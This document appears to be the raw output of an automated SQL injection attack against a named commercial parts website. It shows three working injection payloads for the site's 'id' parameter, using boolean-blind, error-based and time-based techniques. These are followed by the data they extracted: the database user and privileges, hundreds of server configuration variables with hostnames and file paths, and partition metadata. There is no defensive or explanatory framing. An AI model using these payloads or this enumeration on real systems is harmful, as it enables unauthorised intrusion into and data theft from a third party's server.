Are you requesting access to your account?
http://www.racecarparts.com/
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2975=2975
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1 AND GTID_SUBSET(CONCAT(0x71706a6b71,(SELECT (ELT(1857=1857,1))),0x7176787171),1857)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
Payload: id=1 AND SLEEP(5)
web application technology: Apache, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
banner: '5.6.51'
database management system users [1]:
[*] 'bmurry_admin'@'localhost'
Database: information_schema
Table: USER_PRIVILEGES
[1 entry]
+----------------------------+--------------+---------------+----------------+
| GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE |
+----------------------------+--------------+---------------+----------------+
| 'bmurry_admin'@'localhost' | NO | def | USAGE |
+----------------------------+--------------+---------------+----------------+
Database: information_schema
Table: GLOBAL_VARIABLES
[441 entries]
+--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| VARIABLE_NAME | VARIABLE_VALUE |
+--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| INNODB_STATS_INCLUDE_DELETE_MARKED | OFF |
| INNODB_STATS_METHOD | nulls_equal |
| INNODB_STATS_ON_METADATA | OFF |
| INNODB_STATS_PERSISTENT | ON |
| INNODB_STATS_PERSISTENT_SAMPLE_PAGES | 20 |
| INNODB_STATS_SAMPLE_PAGES | 8 |
| INNODB_STATS_TRANSIENT_SAMPLE_PAGES | 8 |
| INNODB_STATUS_OUTPUT | OFF |
| INNODB_STATUS_OUTPUT_LOCKS | OFF |
| INNODB_STRICT_MODE | OFF |
| INNODB_SUPPORT_XA | ON |
| INNODB_SYNC_ARRAY_SIZE | 1 |
| INNODB_SYNC_SPIN_LOOPS | 30 |
| INNODB_TABLE_LOCKS | ON |
| INNODB_THREAD_CONCURRENCY | 0 |
| INNODB_THREAD_SLEEP_DELAY | 10000 |
| INNODB_TMPDIR | <blank> |
| INNODB_UNDO_DIRECTORY | . |
| INNODB_UNDO_LOGS | 128 |
| INNODB_UNDO_TABLESPACES | 0 |
| INNODB_USE_NATIVE_AIO | ON |
| INNODB_USE_SYS_MALLOC | ON |
| INNODB_VERSION | 5.6.51 |
| INNODB_WRITE_IO_THREADS | 4 |
| INTERACTIVE_TIMEOUT | 28800 |
| JOIN_BUFFER_SIZE | 262144 |
| KEEP_FILES_ON_CREATE | OFF |
| KEY_BUFFER_SIZE | 8388608 |
| KEY_CACHE_AGE_THRESHOLD | 300 |
| KEY_CACHE_BLOCK_SIZE | 1024 |
| KEY_CACHE_DIVISION_LIMIT | 100 |
| LARGE_FILES_SUPPORT | ON |
| LARGE_PAGES | OFF |
| LARGE_PAGE_SIZE | 0 |
| LC_MESSAGES | en_US |
| LC_MESSAGES_DIR | /usr/share/mysql/ |
| LC_TIME_NAMES | en_US |
| LICENSE | GPL |
| LOCAL_INFILE | ON |
| LOCKED_IN_MEMORY | OFF |
| LOCK_WAIT_TIMEOUT | 31536000 |
| LOG_BIN | OFF |
| LOG_BIN_BASENAME | <blank> |
| LOG_BIN_INDEX | <blank> |
| LOG_BIN_TRUST_FUNCTION_CREATORS | OFF |
| LOG_BIN_USE_V1_ROW_EVENTS | OFF |
| LOG_ERROR | ./s132-148-23-168.secureserver.net.err |
| LOG_OUTPUT | FILE |
| LOG_QUERIES_NOT_USING_INDEXES | OFF |
| LOG_SLAVE_UPDATES | OFF |
| LOG_SLOW_ADMIN_STATEMENTS | OFF |
| LOG_SLOW_SLAVE_STATEMENTS | OFF |
| LOG_THROTTLE_QUERIES_NOT_USING_INDEXES | 0 |
| LOG_WARNINGS | 1 |
| LONG_QUERY_TIME | 10.000000 |
| LOWER_CASE_FILE_SYSTEM | OFF |
| LOWER_CASE_TABLE_NAMES | 0 |
| LOW_PRIORITY_UPDATES | OFF |
| MASTER_INFO_REPOSITORY | FILE |
| MASTER_VERIFY_CHECKSUM | OFF |
| MAX_ALLOWED_PACKET | 268435456 |
| MAX_BINLOG_CACHE_SIZE | 18446744073709547520 |
| MAX_BINLOG_SIZE | 1073741824 |
| MAX_BINLOG_STMT_CACHE_SIZE | 18446744073709547520 |
| MAX_CONNECTIONS | 151 |
| MAX_CONNECT_ERRORS | 100 |
| MAX_DELAYED_THREADS | 20 |
| MAX_DIGEST_LENGTH | 1024 |
| MAX_ERROR_COUNT | 64 |
| MAX_HEAP_TABLE_SIZE | 16777216 |
| MAX_INSERT_DELAYED_THREADS | 20 |
| MAX_JOIN_SIZE | 18446744073709551615 |
| MAX_LENGTH_FOR_SORT_DATA | 1024 |
| MAX_PREPARED_STMT_COUNT | 16382 |
| MAX_RELAY_LOG_SIZE | 0 |
| MAX_SEEKS_FOR_KEY | 18446744073709551615 |
| MAX_SORT_LENGTH | 1024 |
| MAX_SP_RECURSION_DEPTH | 0 |
| MAX_TMP_TABLES | 32 |
| MAX_USER_CONNECTIONS | 0 |
| MAX_WRITE_LOCK_COUNT | 18446744073709551615 |
| METADATA_LOCKS_CACHE_SIZE | 1024 |
| METADATA_LOCKS_HASH_INSTANCES | 8 |
| MIN_EXAMINED_ROW_LIMIT | 0 |
| MULTI_RANGE_COUNT | 256 |
| MYISAM_DATA_POINTER_SIZE | 6 |
| MYISAM_MAX_SORT_FILE_SIZE | 9223372036853727232 |
| MYISAM_MMAP_SIZE | 18446744073709551615 |
| MYISAM_RECOVER_OPTIONS | OFF |
| MYISAM_REPAIR_THREADS | 1 |
| MYISAM_SORT_BUFFER_SIZE | 8388608 |
| MYISAM_STATS_METHOD | nulls_unequal |
| MYISAM_USE_MMAP | OFF |
| NET_BUFFER_LENGTH | 16384 |
| NET_READ_TIMEOUT | 30 |
| NET_RETRY_COUNT | 10 |
| NET_WRITE_TIMEOUT | 60 |
| NEW | OFF |
| OLD | OFF |
| OLD_ALTER_TABLE | OFF |
| OLD_PASSWORDS | 0 |
| OPEN_FILES_LIMIT | 10000 |
| OPTIMIZER_PRUNE_LEVEL | 1 |
| OPTIMIZER_SEARCH_DEPTH | 62 |
| OPTIMIZER_SWITCH | index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loosescan=on,firstmatch=on,subquery_materialization_cost_based=on,use_index_extensions=on |
| OPTIMIZER_TRACE | enabled=off,one_line=off |
| OPTIMIZER_TRACE_FEATURES | greedy_search=on,range_optimizer=on,dynamic_range=on,repeated_subselect=on |
| OPTIMIZER_TRACE_LIMIT | 1 |
| OPTIMIZER_TRACE_MAX_MEM_SIZE | 16384 |
| OPTIMIZER_TRACE_OFFSET | -1 |
| PERFORMANCE_SCHEMA | OFF |
| PERFORMANCE_SCHEMA_ACCOUNTS_SIZE | -1 |
| PERFORMANCE_SCHEMA_DIGESTS_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_STAGES_HISTORY_LONG_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_STAGES_HISTORY_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_STATEMENTS_HISTORY_LONG_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_STATEMENTS_HISTORY_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_WAITS_HISTORY_LONG_SIZE | -1 |
| PERFORMANCE_SCHEMA_EVENTS_WAITS_HISTORY_SIZE | -1 |
| PERFORMANCE_SCHEMA_HOSTS_SIZE | -1 |
| PERFORMANCE_SCHEMA_MAX_COND_CLASSES | 80 |
| PERFORMANCE_SCHEMA_MAX_COND_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_DIGEST_LENGTH | 1024 |
| PERFORMANCE_SCHEMA_MAX_FILE_CLASSES | 50 |
| PERFORMANCE_SCHEMA_MAX_FILE_HANDLES | 32768 |
| PERFORMANCE_SCHEMA_MAX_FILE_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_MUTEX_CLASSES | 200 |
| PERFORMANCE_SCHEMA_MAX_MUTEX_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_RWLOCK_CLASSES | 40 |
| PERFORMANCE_SCHEMA_MAX_RWLOCK_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_SOCKET_CLASSES | 10 |
| PERFORMANCE_SCHEMA_MAX_SOCKET_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_STAGE_CLASSES | 150 |
| PERFORMANCE_SCHEMA_MAX_STATEMENT_CLASSES | 168 |
| PERFORMANCE_SCHEMA_MAX_TABLE_HANDLES | -1 |
| PERFORMANCE_SCHEMA_MAX_TABLE_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_MAX_THREAD_CLASSES | 50 |
| PERFORMANCE_SCHEMA_MAX_THREAD_INSTANCES | -1 |
| PERFORMANCE_SCHEMA_SESSION_CONNECT_ATTRS_SIZE | -1 |
| PERFORMANCE_SCHEMA_SETUP_ACTORS_SIZE | 100 |
| PERFORMANCE_SCHEMA_SETUP_OBJECTS_SIZE | 100 |
| PERFORMANCE_SCHEMA_USERS_SIZE | -1 |
| PID_FILE | /var/lib/mysql/s132-148-23-168.secureserver.net.pid |
| PLUGIN_DIR | /usr/lib64/mysql/plugin/ |
| PORT | 3306 |
| PRELOAD_BUFFER_SIZE | 32768 |
| PROFILING | OFF |
| PROFILING_HISTORY_SIZE | 15 |
| PROTOCOL_VERSION | 10 |
| QUERY_ALLOC_BLOCK_SIZE | 8192 |
| QUERY_CACHE_LIMIT | 1048576 |
| QUERY_CACHE_MIN_RES_UNIT | 4096 |
| QUERY_CACHE_SIZE | 1048576 |
| QUERY_CACHE_TYPE | OFF |
| QUERY_CACHE_WLOCK_INVALIDATE | OFF |
| QUERY_PREALLOC_SIZE | 8192 |
| RANGE_ALLOC_BLOCK_SIZE | 4096 |
| READ_BUFFER_SIZE | 131072 |
| READ_ONLY | OFF |
| READ_RND_BUFFER_SIZE | 262144 |
| RELAY_LOG | <blank> |
| RELAY_LOG_BASENAME | <blank> |
| RELAY_LOG_INDEX | <blank> |
| RELAY_LOG_INFO_FILE | relay-log.info |
| RELAY_LOG_INFO_REPOSITORY | FILE |
| RELAY_LOG_PURGE | ON |
| RELAY_LOG_RECOVERY | OFF |
| RELAY_LOG_SPACE_LIMIT | 0 |
| REPORT_HOST | <blank> |
| REPORT_PASSWORD | <blank> |
| REPORT_PORT | 3306 |
| REPORT_USER | <blank> |
| RPL_STOP_SLAVE_TIMEOUT | 31536000 |
| SECURE_AUTH | ON |
| SECURE_FILE_PRIV | <blank> |
| SERVER_ID | 0 |
| SERVER_ID_BITS | 32 |
| SERVER_UUID | 97ed9c76-16cb-11e6-a780-00185105dea7 |
| SHA256_PASSWORD_PRIVATE_KEY_PATH | private_key.pem |
| SHA256_PASSWORD_PUBLIC_KEY_PATH | public_key.pem |
| SHOW_OLD_TEMPORALS | OFF |
| SIMPLIFIED_BINLOG_GTID_RECOVERY | OFF |
| SKIP_EXTERNAL_LOCKING | ON |
| SKIP_NAME_RESOLVE | OFF |
| SKIP_NETWORKING | OFF |
| SKIP_SHOW_DATABASE | OFF |
| SLAVE_ALLOW_BATCHING | OFF |
| SLAVE_CHECKPOINT_GROUP | 512 |
| SLAVE_CHECKPOINT_PERIOD | 300 |
| SLAVE_COMPRESSED_PROTOCOL | OFF |
| SLAVE_EXEC_MODE | STRICT |
| SLAVE_LOAD_TMPDIR | /tmp |
| SLAVE_MAX_ALLOWED_PACKET | 1073741824 |
| SLAVE_NET_TIMEOUT | 3600 |
| SLAVE_PARALLEL_WORKERS | 0 |
| SLAVE_PENDING_JOBS_SIZE_MAX | 16777216 |
| SLAVE_ROWS_SEARCH_ALGORITHMS | TABLE_SCAN,INDEX_SCAN |
| SLAVE_SKIP_ERRORS | OFF |
| SLAVE_SQL_VERIFY_CHECKSUM | ON |
| SLAVE_TRANSACTION_RETRIES | 10 |
| SLAVE_TYPE_CONVERSIONS | <blank> |
| SLOW_LAUNCH_TIME | 2 |
| SLOW_QUERY_LOG | OFF |
| SLOW_QUERY_LOG_FILE | /var/lib/mysql/s132-148-23-168-slow.log |
| SOCKET | /var/lib/mysql/mysql.sock |
| SORT_BUFFER_SIZE | 262144 |
| SQL_AUTO_IS_NULL | OFF |
| SQL_BIG_SELECTS | ON |
| SQL_BUFFER_RESULT | OFF |
| SQL_LOG_BIN | ON |
| SQL_LOG_OFF | OFF |
| SQL_MODE | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION |
| SQL_NOTES | ON |
| SQL_QUOTE_SHOW_CREATE | ON |
| SQL_SAFE_UPDATES | OFF |
| SQL_SELECT_LIMIT | 18446744073709551615 |
| SQL_SLAVE_SKIP_COUNTER | 0 |
| SQL_WARNINGS | OFF |
| SSL_CA | <blank> |
| SSL_CAPATH | <blank> |
| SSL_CERT | <blank> |
| SSL_CIPHER | <blank> |
| SSL_CRL | <blank> |
| SSL_CRLPATH | <blank> |
| SSL_KEY | <blank> |
| STORAGE_ENGINE | MyISAM |
| STORED_PROGRAM_CACHE | 256 |
| SYNC_BINLOG | 0 |
| SYNC_FRM | ON |
| SYNC_MASTER_INFO | 10000 |
| SYNC_RELAY_LOG | 10000 |
| SYNC_RELAY_LOG_INFO | 10000 |
| SYSTEM_TIME_ZONE | PDT |
| TABLE_DEFINITION_CACHE | 1400 |
| TABLE_OPEN_CACHE | 2000 |
| TABLE_OPEN_CACHE_INSTANCES | 1 |
| THREAD_CACHE_SIZE | 9 |
| THREAD_CONCURRENCY | 10 |
| THREAD_HANDLING | one-thread-per-connection |
| THREAD_STACK | 262144 |
| TIMED_MUTEXES | OFF |
| TIME_FORMAT | %H:%i:%s |
| TIME_ZONE | SYSTEM |
| TMPDIR | /tmp |
| TMP_TABLE_SIZE | 16777216 |
| TRANSACTION_ALLOC_BLOCK_SIZE | 8192 |
| TRANSACTION_PREALLOC_SIZE | 4096 |
| TX_ISOLATION | REPEATABLE-READ |
| TX_READ_ONLY | OFF |
| UNIQUE_CHECKS | ON |
| UPDATABLE_VIEWS_WITH_LIMIT | YES |
| VERSION | 5.6.51 |
| VERSION_COMMENT | MySQL Community Server (GPL) |
| VERSION_COMPILE_MACHINE | x86_64 |
| VERSION_COMPILE_OS | Linux |
| WAIT_TIMEOUT | 28800 |
+--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Database: information_schema
Table: PARTITIONS
[65 entries]
+----------+-----------+-----------+------------+---------------------------------------+------------+---------------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME | CHECK_TIME | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION |
+----------+-----------+-----------+------------+---------------------------------------+------------+---------------------+---------------------+-------------+--------------+--------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+
| NULL | <blank> | 0 | 53 | SubCats | NULL | 2016-10-15 10:14:06 | 2016-10-15 10:14:06 | 1844 | 2048 | bmurry_data | def | 34 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:28:33 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-05-31 19:28:42 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLUMNS | NULL | 2021-05-31 19:28:59 | 2021-05-31 19:28:51 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLUMN_PRIVILEGES | NULL | NULL | 2021-05-31 19:29:01 | 0 | 0 | information_schema | def | 2565 | NULL | NULL | 16757145 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | ENGINES | NULL | NULL | 2021-05-31 19:29:10 | 0 | 0 | information_schema | def | 490 | NULL | NULL | 16574250 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | EVENTS | NULL | 2021-05-31 19:29:28 | 2021-05-31 19:29:20 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | FILES | NULL | NULL | 2021-05-31 19:29:29 | 0 | 0 | information_schema | def | 2659 | NULL | NULL | 16743723 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:29:38 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:29:48 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:29:58 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:07 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:17 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:27 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:36 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:46 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:30:55 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLLATIONS | NULL | NULL | 2021-05-31 19:31:04 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-05-31 19:31:14 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-05-31 19:31:23 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-05-31 19:31:32 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-05-31 19:31:42 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-05-31 19:31:52 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-05-31 19:32:01 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_SYS_TABLES | NULL | NULL | 2021-05-31 19:32:10 | 0 | 0 | information_schema | def | 2060 | NULL | NULL | 16743680 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_SYS_FOREIGN_COLS | NULL | NULL | 2021-05-31 19:32:19 | 0 | 0 | information_schema | def | 1748 | NULL | NULL | 16738848 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_FT_INDEX_CACHE | NULL | NULL | 2021-05-31 19:32:29 | 0 | 0 | information_schema | def | 1054 | NULL | NULL | 16744898 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_SYS_TABLESPACES | NULL | NULL | 2021-05-31 19:32:39 | 0 | 0 | information_schema | def | 2082 | NULL | NULL | 16728870 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_FT_BEING_DELETED | NULL | NULL | 2021-05-31 19:32:47 | 0 | 0 | information_schema | def | 9 | NULL | NULL | 9437184 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_FT_INDEX_TABLE | NULL | NULL | 2021-05-31 19:32:57 | 0 | 0 | information_schema | def | 1054 | NULL | NULL | 16744898 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_CMPMEM | NULL | NULL | 2021-05-31 19:33:06 | 0 | 0 | information_schema | def | 29 | NULL | NULL | 15204352 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_SYS_DATAFILES | NULL | NULL | 2021-05-31 19:33:16 | 0 | 0 | information_schema | def | 12007 | NULL | NULL | 16773779 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_TRX | NULL | NULL | 2021-05-31 19:33:25 | 0 | 0 | information_schema | def | 4536 | NULL | NULL | 16746912 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | INNODB_LOCKS | NULL | NULL | 2021-05-31 19:33:35 | 0 | 0 | information_schema | def | 31244 | NULL | NULL | 16746784 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PLUGINS | NULL | 2021-05-31 19:33:52 | 2021-05-31 19:33:44 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PARTITIONS | NULL | 2021-05-31 19:34:01 | 2021-05-31 19:33:54 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | PARAMETERS | NULL | 2021-05-31 19:34:10 | 2021-05-31 19:34:03 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | OPTIMIZER_TRACE | NULL | 2021-05-31 19:34:20 | 2021-05-31 19:34:12 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-05-31 19:34:22 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-05-31 19:34:32 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-05-31 19:34:41 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | FILES | NULL | NULL | 2021-05-31 19:34:51 | 0 | 0 | information_schema | def | 2659 | NULL | NULL | 16743723 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | EVENTS | NULL | 2021-05-31 19:35:10 | 2021-05-31 19:35:01 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | ENGINES | NULL | NULL | 2021-05-31 19:35:11 | 0 | 0 | information_schema | def | 490 | NULL | NULL | 16574250 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
| NULL | <blank> | 0 | 0 | COLUMN_PRIVILEGES | NULL | NULL | 2021-05-31 19:35:21 | 0 | 0 | information_schema | def | 2565 | NULL | NULL | 16757145 | NULL | NULL | <blank> | NULL | NULL | NULL | NULL | NULL | NULL |
